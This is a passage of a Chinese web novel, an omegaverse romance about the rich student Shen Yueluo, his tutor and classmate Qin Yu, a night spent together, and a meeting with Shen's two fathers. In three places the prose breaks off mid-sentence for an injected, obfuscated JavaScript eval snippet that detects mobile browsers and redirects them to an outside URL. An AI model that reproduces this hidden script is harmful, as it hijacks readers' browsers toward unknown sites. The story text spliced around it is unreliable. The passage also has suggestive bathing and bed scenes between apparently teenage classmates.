沈月落略微得意地说:”就我上次给你提到的那个秦玉,就是我暗恋的那个学霸,他外公生病住院了,急需用钱。我让他当我的家教,一小时一万,另外你再给他外公安排一个金牌护工。说不定几个月后你儿子的成绩提升了,还抱得美人归了,这不两全其美?" 电话那头沉默了几秒,然后传来沈华山的声音:“知道了,你让秦玉填写一下信息,下午三点,护工就到。" “哦。"沈月落愣了一下,没想到父亲这么爽快就答应了。 挂断电话后,沈月落激动得根本睡不着:哈哈哈!好开心! 现在,距离上课还有将近一个小时,他趴在桌子上,脑子里全是幻想着和秦玉一起学习的画面…… 9. 学习 下午六点半,秦玉按照事先答应好的,跟沈月落一起回去。 秦玉背着黑色的书包,但看的出来,现在已经被洗得发白了,他指尖无意识地抠着包带,眼角的余光今天不知道为什么变得不听话看,总想落在身旁的沈月落身上…… 过了一会儿,两人才兜兜转转的走到了,沈月落拉起秦玉的手:“秦同学,马上就到了。” 秦玉“嗯”了一声,其他废话不再多说。 但人又惊又喜的是,秦玉今天竟然没有想要抽回手的表现。 (沈月落的内心os:老婆今天竟然没有拒绝我!!开心开心!!) 他也正在努力想隐藏着脸上的笑意…… 秦玉也没有注意太多,只是跟着他的脚步走进了别墅大门。 一进门,秦玉就听见了几个人的声音。 “月落回来了。” 几个穿着统一制服的管家和保姆迎了上来,他们跟沈月落都是很亲切的,他们都是从小看着沈月落长大,而且沈月落又不让他们叫自己叫少爷…… 仔细看为首那人,他是一位头发花白但精气神都特别好的老人,他看起来也就小60,穿着熨烫平整的黑色西装马甲,领口系着领结也是整整齐齐,正是王管家——王海军。 秦玉注意到,当这些人看到他时,脸上都露出了惊讶的神色,眼神在他和沈月落之间来回打量,带着几分探究和好奇。 “嗯。”别看沈月落嘴上是这么平淡,内心里却开心的要死,实际上是在故意装作高冷男神…… 他侧身让秦玉上前,并给大家介绍:“这是秦玉,我的同学,来帮我补习。” “秦公子好。”王管家率先反应过来,恭敬地向秦玉鞠了一躬,其他管家和保姆也纷纷问好,态度谦和有礼。 秦玉连忙90°鞠躬回礼:“叔叔阿姨们好。” 他能感觉到,几道视线落在沈月落身上,带着掩饰不住的诧异。 一个年轻的保姆偷偷和旁边的管家对视一眼,嘴唇动了动,虽然没说话,但秦玉隐约能猜到她的心思——大概是没想到,着个脾气略微有些差,而且还很颠的沈家少爷,会带一个Omega的男同学回家。 可能别的少爷的仆人有时候会感叹“少爷终于笑了”,但沈家的叔叔阿姨们,看着沈月落的眼神,像是在看什么稀世珍宝,每个人的眼神都是“咱们的月落,也是终于正常一回了……” 沈月落没注意到他们的眼神,转头交代做饭的阿姨——李娟:“李姨,我俩爹又去约会了,不用给他们做饭了!” 在厨房的李娟应了一声:“好嘞!” 他转过头又交代王管家:“对了,王叔,把我书房收拾一下,再端点水果和饮料过去。” “好的,月落……”王管家应道,转身对旁边的保姆吩咐了几句,然后看向秦玉,笑容温和,“秦公子,这边请,我带您去少爷的书房。” 秦玉跟着王管家和沈月落走上旋转楼梯,楼梯的扶手是镀木制的,触摸的时候带着一丝冰凉。 在仔细一看,走廊两侧挂着许多油画,画框精致,内容大多是风景和静物,一看就价值不菲。 沈月落的书房在二楼最里面的房间,王管家推开房门,做了个“请”的手势。 “秦公子,月落,你们慢慢聊,有什么需要随时叫我。” “谢谢王叔。”秦玉道了声谢,小心翼翼地踏进书房。 这书房比秦玉那小破卧室大上好几倍,一面墙是巨大的落地窗,窗外是花园,光线也是十分的充足。 另一面墙则是一个超大的书架,上面摆满了各种各样的书,从世界名著到专业书籍,应有尽有…… 但说实话,这些书沈月落也都看过了,但就是不知道为啥,他的智商是一点也没长…… 在书房中央摆放着一张宽大的红木书桌,桌上放着一台笔记本电脑、几本书和一个笔筒,旁边还有一把舒适的真皮座椅。书桌对面是一套小巧的沙发和茶几,显然是为客人准备的。 “随便坐。”沈月落走到书桌前坐下,指了指对面的沙发,“你想喝什么?果汁还是可乐?” “随便吧……” “那就两杯果汁吧?” “好……谢谢。”秦玉放下书包,略微拘谨地坐在沙发上…… “不用那么紧张,把这里当自己家就好。”沈月落说着,就挨着他,一屁股坐下。 秦玉努力的放松下来…… 没过多久,另一个保姆阿姨就端着一个果盘和两杯果汁走了进来,果盘里摆满了切好的草莓、芒果、葡萄等水果,看着都美味。 保姆阿姨把东西放在茶几上,说了声“请慢用”,便轻轻退了出去,顺手带上了房门。 房间里只剩下秦玉和沈月落两人,气氛一时有些安静。 秦玉端起果汁喝了一口,甜滋滋的味道在舌尖蔓延开来,他定了定神,从帆布包里拿出沈月落的数学试卷和自己的笔记本。 秦玉今天给沈月落讲解的是一道最基本应用题,这题对于他来说是小菜一碟,但沈月落书上的知识是一点也不会。如果让他直接写,就等于让一个幼儿园的小朋友去做奥林匹克竞赛题,真没招了……秦玉也只好从头讲起。 他一边讲,一边用手比划着。 可沈月落的心思完全不在这里面,他的目光紧紧锁定在秦玉精致的耳垂上。手手蠢蠢欲动,最后还是忍不住,抬手轻轻触碰了一下。 秦玉的身体瞬间僵住了,脸颊也不受控制般的……“刷”地一下又又又又又红了。 他能感觉到沈月落指尖的温度,轻轻触碰到他的耳廓,带来一阵酥麻的感觉。 他抬起头,正好对上沈月落的眼睛,他的眼神深邃,带着一丝不易察觉的温柔,两人的距离很近,近得能闻到彼此的呼吸。 空气仿佛凝固了,秦玉的心跳飞快,他连忙低下头,假装继续看题目,声音有些结巴:“别走神……继续。” 沈月落也意识到自己刚才的举动有些唐突,耳根微微泛红,自己有点害羞,但内心更多的是窃喜,他咳嗽了一声,掩饰住自己的心情,点了点头:“好。” 接下来的几分钟,两人都有些心不在焉。 秦玉讲题的语速慢了不少,时不时会走神,而沈月落则频频看向秦玉,眼神复杂。 “那个……”沈月落忽然开口,打破了沉默,“对不起,我不是故意的……” 秦玉摇摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163949|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸颊虽不红了,却依然发烫:“没……没事。” 为了缓解尴尬,秦玉重新集中注意力,把那道题目又讲了一遍。 这一次,沈月落听得很认真,很快就明白了解题思路。 “原来如此,”沈月落恍然大悟,“我明白了!” “明白了就好。”秦玉松了口气,脸上的红晕也彻底褪去,“那你自己试着做一遍,我看看。” 沈月落拿起笔,认真地演算起来。笔尖在纸上划过,发出沙沙的声音。 秦玉坐在旁边,看着沈月落那难得认真的侧脸…… 别说,仔细一看沈月落长的还真不赖,尤其是在认真的时候,和平时那个爱惹事的沈月落判若两人。 沈月落根据秦玉讲解的,步骤也变得很清晰,计算也准确,轻轻松松的得到了正确的答案 “对了!”沈月落兴奋地举起草稿纸,像个得到表扬的孩子,“我做对了!” 看着他开心的样子,秦玉现在不知不觉中,嘴角也挂起了一抹笑意:“很棒……” 得到秦玉的表扬,沈月落的嘴角扬得更高了,心里甜滋滋的。 他发现,原来学习并不是一件枯燥的事情,尤其是在秦玉的陪伴下,这滋味是真好。 两人又讲了几道题,沈月落渐渐进入了状态,不再像一开始那样坐立不安,而是认真地听着秦玉的讲解。 秦玉也发现,沈月落其实很有想法,有时候提出的问题还挺有深度,只是平时不用在学习上而已。 “饿了吧……先吃点水果休息一下吧。”秦玉说着就放下笔,拿起一颗草莓递到沈月落嘴边。 沈月落张嘴,咬住草莓尖尖,甜甜的汁水在嘴里爆开,流入喉咙血,也流入心里…… 在默默里,天色也渐渐暗了下来,夕阳也终于落下,暗蓝色的天空笼罩着整个世界。 王管家在这时轻轻敲了敲门,走了进来:“月落,晚饭准备好了,你们要不要先去吃饭?” 秦玉看了看墙上的时钟,已经晚上8点多了。 “时间过得好快……” “是啊,”沈月落站起身,伸了个懒腰,“不知不觉学了这么久。走啦秦同学~我们去吃饭。” “可是……我还要回去。” “急什么?”沈月落拉住他的手腕,语气带着一丝挽留,“你外公那里已经安排好人了,你不用担心的。而且你还有几道题没给我讲完呢。” 秦玉只是想起还有几道重要的错题没来得及讲解,这才犹豫了一下,点了点头:“那好吧……麻烦了” “不麻烦。”沈月落笑了笑,松开了他的手腕,心里有些小小的窃喜。 两人跟着王管家来到餐厅,餐厅很大,中间摆放着一张长长的餐桌,桌上铺着白色的桌布,摆放着精致的餐具和烛台。 餐桌上已经摆满了丰盛的菜肴,有清蒸鱼、红烧排骨、糖醋里脊……都是秦玉想吃却吃不到的。 “好丰盛……” “喜欢就多吃点。”沈月落拉着秦玉在餐桌旁坐下,然后对王管家说,“王叔,不用再准备其他的了,我们开动吧。” “好的……”王管家应道,转身退了出去,只留下两人用餐…… 10. 同榻而眠 餐桌也被收拾干净时,台灯的暖光刚好洒在摊开的数学试卷上,秦玉还在给他讲题…… 钟表滴滴答答地走,指针指到十点半,秦玉合上试卷,开始收笔和本子。 今天的学习任务完成了,他起身就要走。 “你还要回去?”沈月落自然是舍不得的,因此可以听出他声音里那一点不易察觉的挽留。 秦玉收拾东西的手停了停,两秒后才继续。 他没抬头,低低应了一声:“嗯……” “你……别走了吧?”沈月落往前挪了半步,眼里满是期待,像只耷拉着耳朵的萨摩耶,“今天有点晚了,留下来行吗?” 秦玉没说话,只是手指攥紧了书包带。 他从没在外面过过夜,更别说和别人一起。 “求你了——就一次!”沈月落拽了拽他的袖口,声音变得越来越软,满眼也都是祈求:“明天我肯定早早送你回去,你今天就留下嘛~” 秦玉被他弄得没辙,只好让步:“好吧,就今天一次。” 沈月落眼睛一下子亮了,雀跃地说:“那我们一块儿睡吧!” “一块儿睡?”秦玉愣了愣,除了小时候跟外公一起睡,他再没和别人睡在同一张床上。 “嗯!我房间大,睡的也舒服些。”沈月落说得理所当然,但谁又不知道他那些花花肠子呢…… 别说沈月落了,秦玉已经跟同班的同学相处了一年半,但好像还有95%的人,他连手都没有跟他们握过,更别说跟沈月落睡一张床上了。 不用想,秦玉自然是摇摇头:“不了,我睡客房就行。” 沈月落心里掠过一丝失落,但又马上给自己打气:追老婆就要慢慢来!不能急! 他勉强的挤出了一个笑脸,点了点头:“那我让张阿姨收拾客房,你先洗澡,一会儿我把干净衣服放门口。” 秦玉道了谢,跟着沈月落去了浴室。“秦同学,我就在门口,有事叫我。”沈月落说完,轻轻带上浴室的门。 浴室大得让秦玉有点无措。 高级的按摩浴缸,一排瓶瓶罐罐的洗护用品,都是他没见过的,自然大部分也不会用…… 秦玉正对着按摩浴缸发呆,门外传来沈月落的声音:“要帮忙吗?” “……要。”秦玉轻声应着,快走两步,开了门。 沈月落走进来,熟练地调好水温,教他怎么用按摩浴缸,又把那些瓶瓶罐罐一一指给他看:“这是洗发水,蓝瓶子是沐浴露,旁边是护发素……” 做完这些,他忽然想起什么似的,转头问秦玉:“秦同学,要帮你搓背吗?” 秦玉脸颊就像腮红抹多了,也烫得能煎鸡蛋,说话都有些磕巴:“不、不用了,谢谢沈同学,你、你先出去吧……” 沈月落见状,乖乖退出去,轻轻带上了门。 秦玉脱了上衣,又摸了摸自己发烫的脸,小声嘀咕:“好奇怪的感觉……” 他双手拍了拍脸:“秦玉……清醒点。” 他也是努力的平复了一下心情,手指按在腰带的卡扣上,“咔嚓”一声,腰带松开,他褪下裤子,一双白皙修长的腿露在空气里,膝盖处透着粉嫩…… 秦玉站到花洒下,温热的水流像无数小人儿,一个接一个的,肆意的抚摸着她的身体,从脸颊到脖子,然后是锁骨、小腹……一路向下。 门外的沈月落,听着哗哗的水声,脑子乱想一通,可鼻腔里突然一热,鼻血毫无预兆地就流了出来…… 他慌忙抽了张纸堵住,脸颊烫得厉害…… 大概过了二十分钟,沈月落拿着烘干的新衣服站到门口:“秦同学,衣服放门口椅子上了!” “沈同学,你能进来一下吗……”秦玉的声音有点扭捏,“我够不着后背……” 沈月落巴不得想做的事终于来了,心里也是一阵雀跃,连忙应道:“好!”推门时,他故意放慢了动作。 秦玉只用一条短浴巾遮着关键部位,裸露的皮肤看得沈月落心跳一停,赶紧移开目光,假装整理架子上的衣服。 他拿起搓澡巾,指尖微微发颤…… 秦玉犹豫了一下,手撑着墙,轻轻弯下腰。 沈月落的左手轻轻扶住他的侧腰,54厘米的小细腰是真舒服,那皮肤细腻的触感让险些让他的鼻血再次喷涌而出…… 右手拿着搓澡巾,他动作轻得像对待易碎品,生怕弄疼秦玉。 “舒服吗?”他低声问。 “嗯……”秦玉的声音带着点鼻音,听着格外软…… 沈月落的左手按捺不住,从秦玉的腰……慢慢往上挪了挪,眼看就要到胸口了,秦玉却浑身一颤,猛地按住他的手:“沈同学,请你别乱动!” 沈月落一下子清醒过来,慌忙把手挪回原位,心里暗骂自己为什么要这么冲动…… 帮秦玉搓完背,他也几乎是逃出浴室的。 门关上的瞬间,秦玉靠在冰凉的瓷砖墙上,长长舒了口气。 他脖颈后的腺体微微发烫,淡淡的玫瑰味信息素悄悄飘散——他的易感期快到了…… 他赶紧加快速度冲干净,擦干身子穿上衣服,回到客房后,从书包的第二层夹层里翻出抑制剂,熟练地扎进手臂。 药效很快上来,秦玉身体的燥热慢慢平复了…… 他整理好衣服,走到沈月落房间门口轻轻敲门:“沈同学,我先睡了,你也早点休息。” 沈月落还在回想刚才的触感,被这声音吓的差点从椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163950|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上蹦起来,为了不让秦玉发现自己的异样,他也连忙应道:“好,你也睡好。” 秦玉回到客房,关了灯就钻进了被窝…… 沈月落坐在书桌前,拿出老爹准备的这份“大礼”——字帖。 但他为了拿到秦玉的“神秘奖励”,也是硬是耐着性子写了五页…… 十一点三十六分,白兰和沈华山都还没回来,不用想……他俩肯定去酒店了。 干什么呢……确实难猜。 但是在沈月落眼里这只不过是家常便饭罢了,他也不管,自己简单洗漱了一下,换了睡衣,坐在床上玩手机。 九月的天气真的是说变就变,凌晨时分,原本晴朗的夜空突然乌云密布,大雨也就毫无征兆的倾盆而下…… 惊雷炸响,秦玉也猛地从噩梦中惊醒,额头全是冷汗,大口喘着粗气。 沈月落还没睡,他还正靠着床头在打游戏,听到隔壁动静,不敢迟疑一点儿,立刻起身走但旁边的客房。 他敲了敲门,撩没人回应,就轻轻的推开了客房门,压低声音,试探地叫了一声:“秦同学?” 秦玉赶紧平复呼吸,假装没事人一样转头看向门口,强作镇定:“沈同学?” “我听到你屋里有声音,你没事吧?”沈月落走到床边坐下,借着窗外的微弱的光,可以看到他额角的冷汗。 “我……没事。”秦玉别过脸,不想多说。 “你怕这种天气?”沈月落轻声问。 秦玉沉默了几秒,轻轻“嗯”了一声。 “那我陪你一起睡吧。”沈月落怕他误会,赶紧补了一句,“就睡一张床,我保证离你远远的,不会碰你的。” 不用语言,只要行动。 秦玉本低头沉默了几秒,然后突然就掀开被角,示意让沈月落进来。 沈月落也如愿以偿,一秒也不犹豫,就赶紧地钻了进去,乖乖躺在床的外侧,保持着安全距离。 秦玉背对着他,蜷在床角,紧紧抱着被子。 又一声惊雷的炸响,秦玉身子再次猛地一抖…… 他忽然转过来,面对沈月落,眼里还带着没有消退的惊慌…… 沈月落看着他湿漉漉的眼神,一时不知道该怎么安慰。 可就在这时,秦玉的右手轻轻伸过来,指尖划过了他的手背:“能……牵个手吗?” 沈月落愣住了,这幸福来得太突然,他几乎不敢相信:“真的?” “嗯……我主动的。”秦玉的声音有点抖…… 沈月落微微勾住他冰凉的指尖。 他不敢想象,今天有多么幸福。 窗外雨声小了,雷声也渐远…… 两人没再说话,可又好像什么都说了…… 11. 又害羞 五点四十一分,天刚破晓。 细碎的光穿过玻璃窗户射了进来,照在在沈月落的眼睫上,暖融融的,还带着点微痒的触感,稍微驱散了一点他的睡意…… 意识回笼的瞬间,大脑有短暂的一片空白。 因为他只被掌心的触感勾住了所有注意力,似乎感觉自己不是在家。 真的有点不精…… 过了好久他才回过神,用指尖轻轻捏了捏那个软软的,似乎还带着微凉的那个东西,再仔细一看,那其实是秦玉的手…… 他再次紧紧握住…… 两人的手就这么紧紧相扣,真的是严丝合缝…… 他的心跳漏了一拍,连呼吸都放得极轻极柔,生怕那一点气流就惊扰了身旁沉睡着的美人儿。 只见秦玉还闭着眼,睡得很沉。 他几缕柔软的黑发贴在光洁的额角,平日里总带着几分清冷的眉眼也全然舒展,他那长长的睫毛垂着,在眼下投出一小片浅浅的阴影。 唇瓣是很自然的粉润色,微微抿着,感觉透着一种淡淡的甜,勾得人心里发痒,只想把大脑放空,直接低头吻上去。 但沈月落这一点做的还不错,他忍住了,因为他要当一个正人君子! 但美人儿无意识的诱惑,但对于正是情窦初开的少年,沈月落终究还是抵挡不住…… 他的身体不由自主的往秦玉那边靠。 也就在这时,秦玉的睫毛轻轻颤了颤…… 那颤动极细极微,像蝶翼掠过平静的水面,但也却被沈月落精准地捕捉到了。 颤动的幅度越来越大,秦玉缓缓睁开了眼睛…… 他的眼尾带着刚睡醒的粉红,蒙着一层薄薄的水汽,平日里清冷的眼眸此刻盛满了柔软,现在的他好像卸下了所有的防备,带着些许懵懂。 他的视线还有些涣散,对焦了好一会儿,才缓缓落在沈月落脸上,那层水汽逐渐消散,稳稳地映出沈月落近在咫尺的脸。 沈月落一惊,像被抓包的小偷,连忙弹回原位,后背抵着床头,连掌心握着秦玉的力道都下意识地松了松。 可下一秒,秦玉的手指却突然收紧,却带着几分的依赖,指腹轻轻摩挲着他的手背,像是怕他突然松开一般。 沈月落的喉结轻轻滚动了一下,但只见发出一声几不可闻的嘤咛,像那种可爱的小猫蹭着主人的掌心叫,好软…… 就是这么小小的一声,也正好飘在沈月落耳朵里,让他忍不住又想入非非了。 “早……” 沈月落回过神,也先开了口,声音带着刚睡醒的沙哑,低低的。 他没有松开相握的手,反而下意识地用拇指轻轻摩挲着秦玉的指背,好舒服…… 秦玉的脸颊倏地泛起一层薄红,像是被晨光渲染。 秦玉不自然地别开目光,看向床头的方向,他不敢再看沈月落的眼睛,声音细若蚊蚋,窗外麻雀的“喳喳”声,好像都要掩盖住了他的声音:“你醒了……” “嗯。”沈月落低低应了一声,视线依旧黏在秦玉的身上。 窗外的鸟鸣更清晰了,晨光越发明媚,透过窗棂落在两人交握的手上,将指节的轮廓都照得那么透亮…… 沈月落看着秦玉的样子,嘴角不自觉地弯起一个浅淡却温柔的弧度,握着他的手又是微微紧了紧,语气更是那藏不住的宠溺:“秦同学,我去给你做饭,你再休息会儿哈。” 说完,他极其轻柔地尝试抽回手,生怕稍一用力就弄醒还带着几分迷糊的秦玉。 指尖一点点分开,那点温热的触感消失时,秦玉心里竟有几分不舍…… 他小心翼翼地给秦玉掖好被角,把额前微微有些乱的头发帮他拨动整理。 可沈月落手指不由自主的往下,指腹不经意擦过秦玉的耳廓,感受到少年瞬间的僵硬,他才低笑一声,轻手轻脚地起身,走出了房间…… 卧室门被轻轻带上,发出一声几乎不可闻的轻响。 沈月落刚走到楼梯口,还没来得及下楼,楼下突然传来指纹锁解锁的“嘀”声,紧接着是“吱呀”的开门声,伴随着两道熟悉的说话声,一低一柔,是沈华山和白兰。 这两位他的爹,昨天说要去邻市参加朋友的聚会,竟折腾到快六点才回来。 沈月落靠在楼梯扶手上,挑了挑眉,翻了个大大的白眼,语气带着几分调侃:“哟,两位大忙人舍得回来了?这都快六点了,我还以为你们要在外面住三天三夜呢。” 沈华山换鞋的动作一顿,回头也给了他一个同款白眼,语气毫不客气,却没什么真脾气:“臭小子,管天管地还管起你爹了?我和你爹乐意,你管得着?” 白兰被沈华山稳稳地公主抱着,脸色带着几分疲惫,眼底有淡淡的青黑,却依旧难掩精致,就像个被宠坏的小王子…… 他闻言轻轻拍了拍沈华山的肩膀,示意他轻点声,目光却扫过玄关的鞋架,突然顿住,注意到上面摆着一双陌生的白色帆布鞋…… 鞋子款式简单,还有点旧,鞋边却擦得干干净净,鞋头没有一点污渍,显然不是沈月落的风格——沈月落的鞋不是限量款球鞋就是定制的皮鞋,从来不会穿这种十分平价的帆布鞋。 白兰瞬间来了精神,连疲惫都散了大半,挑眉看向沈月落,语气满是好奇:“???这是谁的鞋子?月落,你带朋友回来了?” 沈月落顺着他的目光看过去,看到那双秦玉的鞋,脸上瞬间漾开得意的笑,下巴一抬,语气带着毫不掩饰的炫耀:“还能有谁,你儿媳妇的呗!” “儿媳妇?”白兰眼睛瞬间瞪圆了,瞬间来了精神,挣扎着想要从沈华山怀里下来,“月落,你可以啊!什么时候把人家Omega拐回家了?长什么样?Omega等级高不高?信息素什么味道的?” 一连串的问题砸过来,沈月落嘴角抽了抽,连忙摆手,语气一本正经,眼底却藏着笑:“哎呀,我亲爱的爹地,这怎么能叫拐呢,多难听。人家秦玉是我同学,学习超好,次次年级第一的那种。他家最近正好有点困难,需要用钱,我看他学习好,就请他当我的私人家教,昨天下午放学他就跟我一起回来了,住客房。” 这话半真半假,秦玉家确实有困难,他也确实请了秦玉当家教,但把人拐回家,却是他蓄谋已久的小心思。 白兰了然地点点头,随即又凑近了些,手肘撑着沈华山的肩膀,压低声音八卦,眼睛里闪着好奇的光:“那你们昨晚……在一起睡的?我看你早上是从主卧出来的。” 沈月落脸上的得意更甚,毫不犹豫地承认,语气里的炫耀都快溢出来了:“当然!他整个人都香香软软的,睡觉还乖,不闹人,手感超好。” “我就说我儿子眼光错不了!”白兰笑得眼睛都眯成了一条缝,更想下去看看了,挣扎着要从沈华山怀里下来,“快让我去看看,能被你看上的Omega到底长什么样,肯定是个好看的孩子。” 沈华山赶紧搂紧他,低头在他耳边轻声道,语气里满是心疼:“腰不疼了?昨晚折腾到那么晚,又坐车回来,老实待着,别乱动。” 白兰的脸颊瞬间爆红,像是被烫到一般,耳尖都透着粉色,乖乖地缩回到沈华山怀里,不敢再乱动了,只是眼神依旧好奇地瞟向楼上,显然对那个“儿媳妇”充满了期待。 沈月落看着自家两个爹旁若无人秀恩爱的样子,嘴角抽了抽,假装嫌弃地啧了一声:“都五十多岁的人了,能不能收敛点,当着我的面就这么腻歪,我鸡皮疙瘩都起来了。” 他嘴上这么说,心里却没什么反感,甚至还有点羡慕。沈华山和白兰在一起快三十年了,从他们两个高中到现在,一直这么腻歪,沈月落从小看惯了,但他现在也偷偷盼着,自己和秦玉以后,也能这样。 说完,他转身往厨房走去,背影都带着雀跃:“我去给我老婆做爱心早餐了,你们自便,别上去打扰他休息。” 沈华山抱着白兰坐在客厅的沙发上,打开电视随意调着频道,目光却时不时瞟向厨房的方向,又瞟向楼梯口,显然也对那个让自家儿子心心念念的“儿媳妇”充满了好奇。只是碍于白兰,没好意思直接上去看。 沈月落在厨房里忙得热火朝天,别看他平日里看着吊儿郎当,做饭的手艺却不差,都是跟着白兰学的,煎蛋要煎到边缘微焦,蛋黄流心,烤面包要烤到外酥里软,热牛奶要温到刚好的温度,不烫口,还带着奶香…… 太高级了…… 他还特意给秦玉煮了一碗山药小米粥,养胃,秦玉胃不好,早上吃点清淡的最好。 阳光透过厨房的落地窗洒进来,落在他身上,镀上一层金边,锅里的小米粥咕嘟咕嘟地冒着泡,飘出淡淡的米香,混着煎蛋的焦香,整个厨房都弥漫着温馨的味道。 二十分钟后,早餐基本准备好了。沈月落把煎蛋、烤面包、温牛奶摆到餐盘里,又端着一碗甜粥,放到餐桌上,才快步来到客房门口,放轻了脚步,轻轻敲了敲门,声音放得格外温柔,像怕惊扰了什么珍宝:“秦同学,早餐快好了~你醒了吗?” 房间里,秦玉正坐在床上发呆。 他靠在床头,身上还盖着沈月落的被子,被子上有沈月落的味道,淡淡的红酒,是Alpha独有的沉稳味道,让他觉得安心。 他还在回味着清晨沈月落掌心的温度,那温热的触感仿佛还残留在指尖,带着让人安心的力量,还有沈月落近在咫尺的脸,那双总是带着笑意的眼睛,炽热的目光,让他心跳至今还没平复。 听到沈月落的声音,他猛地回过神来,脸颊瞬间又红了,连忙应声,声音还有点刚睡醒的沙哑:“好的沈同学,我马上来!” 说着,他迅速下床,脚踩在柔软的地毯上,拿起放在床边的衣服,动作麻利地穿上,又走到卫生间,用冷水洗了把脸,拍了拍泛红的脸颊,对着镜子整理了一下头发,确认没有什么不妥后,才深吸一口气,按下门把手,轻轻走出了房间。 洗漱完毕后,秦玉跟着沈月落来到客厅,刚走到客厅门口,就看到了坐在沙发上的两个人。 沈华山穿着黑色的定制西装,身形挺拔,气场强大,眉眼间带着几分严肃,一看就是久居上位的人;白兰则穿着柔软的米白色居家服,窝在沈华山怀里,眉眼温和,气质软糯,一看就被宠得很好。 两人气质出众,往沙发上一坐,就像一幅精致的画,秦玉瞬间有些不知所措,下意识地站定脚步,微微低下头,手指紧张地绞着衣角。 他从小就没和长辈打过交道,更别说面对沈月落的家人,还是这样气质出众的长辈,心里难免紧张。 “叔叔们好……”秦玉深深鞠了一个九十度的躬,声音带着几分紧张,却依旧清晰,字正腔圆,“我是沈月落的同学,秦玉。” 白兰一看到秦玉,眼睛瞬间就亮了。 少年身形清瘦,个子不算矮,穿着简单的白色T恤和黑色运动裤,皮肤白皙得像瓷,眉眼清秀,鼻梁挺直,唇瓣是淡淡的粉色,带着几分清冷的气质,却又因为紧张而微微泛红的脸颊,显得格外乖巧可人。尤其是那股淡淡的玫瑰味信息素,清清爽爽的,不浓烈,却很好闻。 完全长在了他的审美点上! 白兰连忙招手,语气热情得不行,丝毫没有长辈的架子:“哎呀,快过来坐,别站着了,多拘束。秦玉是吧?长得真好看,比我想象中还要好看。” 秦玉犹豫了一下,还是顺着白兰的招呼,略微局促地走到沙发旁,坐在了他身边的空位上,身体绷得紧紧的,双手放在膝盖上,坐得规规矩矩,像个被老师点名的学生。 白兰越看越喜欢,忍不住伸出手,轻轻摸了摸秦玉的脸颊,指尖触到细腻温热的肌肤,手感极好,又凑近闻了闻他颈后的腺体,语气满是赞叹:“玫瑰味的~~好香,是天然的淡香吧,一点都不冲,好香~~” 秦玉被他突如其来的动作弄得一愣,身体瞬间僵硬,脸颊红得更厉害了,从颧骨一直红到耳根,连脖颈都泛起了薄红。 他想要躲开,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163951|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又碍于对方是沈月落的长辈,不好太过失礼,只能硬生生忍着,手指绞得更紧了,眼神里满是无措,像只被抓住的小兔子。 他从小就不习惯和人亲密接触,除了沈月落,还没人这么碰过他的脸,更别说闻他的腺体了,心里又慌又羞,连呼吸都乱了。 一旁的沈华山看着白兰对秦玉如此亲昵,心里瞬间酸溜溜的,眉头微微皱起,脸色也沉了几分,下意识地想把白兰拉回自己身边。他的人,只能他碰,就算是儿子的对象,也不能抢了他的风头。 可还没等他动手,白兰就回头瞪了他一眼,眼神带着几分警告,意思很明显——不许捣乱。 沈华山的动作瞬间僵住,看着白兰眼里的警告,心里的醋意翻涌,却不敢违抗,只能不甘心地收回手,闷闷地坐在一旁,双手抱胸,脸色臭臭的,像个被抢了糖的孩子,心里把秦玉记了一笔——这小子,一来就抢他的人,以后有的是机会“考验”他。 而就在这时,沈月落端着最后一碗甜粥从厨房走出来,刚走进客厅,就看到了让他“瞳孔地震”的一幕——自家爹竟然伸手摸秦玉的脸,还凑那么近闻他的腺体! 那是他的秦玉,他都舍不得随便碰,生怕弄疼了,白兰竟然直接上手摸! 手里的甜粥瞬间不香了,沈月落几乎是立刻就把碗随意放在了旁边的茶几上,大步流星地走过去,一把将秦玉拉回自己怀里,紧紧护着,像护着自己的珍宝,对着白兰不满地嚷嚷,语气里满是占有欲:“爹!你干嘛呢!别随便碰他!他脸皮薄,会害羞的!” 秦玉被沈月落突然的动作吓了一跳,下意识地抓住他的衣角,脸颊红得能滴出血来,埋在他怀里不敢抬头,只觉得耳朵里嗡嗡的,周围的空气都带着暧昧的温度。 白兰还没来得及解释,一旁的沈华山就抓住了机会,趁着白兰分心的瞬间,一把将他扛起来,大步流星地往卧室走去,语气带着几分急切,还有点不易察觉的赌气:“既然孩子们要吃早餐,我们回房休息,不打扰他们。” “沈华山!你放我下来!还有客人呢!”白兰挣扎着,手拍着沈华山的后背,声音带着几分羞恼,却没什么力道,脸颊也泛红了。 沈华山却不管,脚步更快,直接把人扛进了卧室,“砰”的一声关上了门,隔绝了外面的视线。 客厅里瞬间只剩下沈月落和被他护在怀里的秦玉,安静得能听到彼此的心跳声…… 